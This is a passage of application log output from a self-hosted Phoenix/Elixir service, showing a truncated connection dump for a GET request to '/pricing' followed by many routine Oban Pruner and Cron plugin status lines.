has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16398.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat. (truncated) 06:39:48.990 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.363 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:18.992 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:48.993 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.364 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:18.994 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:48.995 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.365 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:18.997 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:48.999 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.366 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:19.000 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:49.001 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.367 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:19.002 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:49.003 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.368 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:19.004 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:49.005 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.369 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:19.006 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:49.007 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.370 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:19.008 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:49.009 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.371 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:19.010 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:49.011 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.372 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:19.012 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:49.013 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.374 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:19.014 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:49.015 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.374 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:19.016 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:49.017 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.375 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:19.018 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:49.019 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.376 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:19.019 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:49.021 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.377 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:19.023 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:49.024 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.378 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:19.026 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:49.028 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.379 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:19.029 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:49.030 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.380 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:19.031 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:49.032 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.381 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:19.034 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:49.036 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.382 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:19.037 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:49.038 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.383 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:19.039 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:49.040 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.384 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:19.041 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:49.042 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.385 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:19.043 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:49.045 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.386 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:19.047 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:49.048 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.387 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:19.049 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:49.050 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.388 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:19.051 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:49.052 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.389 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:19.053 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:49.054 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.390 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:19.055 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:49.056 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.391 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:19.057 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:49.058 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.392 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:19.059 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:49.060 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.394 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:19.062 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:49.064 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.394 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:19.065 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:49.067 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.395 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:19.068 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:49.069 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.396 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:19.070 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:49.071 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.397 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:19.073 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:49.075 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.398 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:19.077 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:49.078 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.399 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:19.080 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:49.081 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.400 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:19.082 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:49.083 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.401 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:19.084 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:49.085 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.402 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:19.087 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:49.088 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.403 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:19.090 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:49.091 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.404 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:19.093 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:49.094 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.405 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:19.095 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:49.097 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.406 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:19.098 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:49.099 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.407 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:19.100 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:49.101 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.408 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:19.102 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:49.103 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.409 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:19.104 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:49.105 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.410 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:19.106 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:49.108 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.411 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:19.110 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:49.111 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.412 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:19.112 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:49.113 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.413 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:19.115 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:49.116 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.414 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:19.118 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:49.119 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.415 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:19.121 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:49.123 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.416 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:19.124 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:49.125 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.417 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:19.126 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:49.127 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.418 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:19.128 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:49.129 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.419 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:19.130 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:49.131 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.420 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:19.132 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:49.133 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.421 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:19.134 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:49.135 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.422 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:19.136 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:49.137 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.423 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:19.138 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:49.139 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.424 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:19.140 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:49.141 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.425 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:19.142 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:49.143 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.426 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:19.144 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:49.146 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.427 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:19.147 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:49.148 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.428 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:19.149 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:49.150 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.429 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:19.151 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:49.152 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.430 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:19.153 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:49.155 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.431 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:19.156 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:49.157 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.432 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:19.158 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:49.159 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.433 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:19.160 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:49.161 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.435 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:19.163 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:49.164 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.435 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:19.166 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:49.167 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.436 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:19.168 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:49.169 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.437 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:19.170 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:49.171 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.438 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:19.172 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:49.173 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.439 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:19.174 [info] 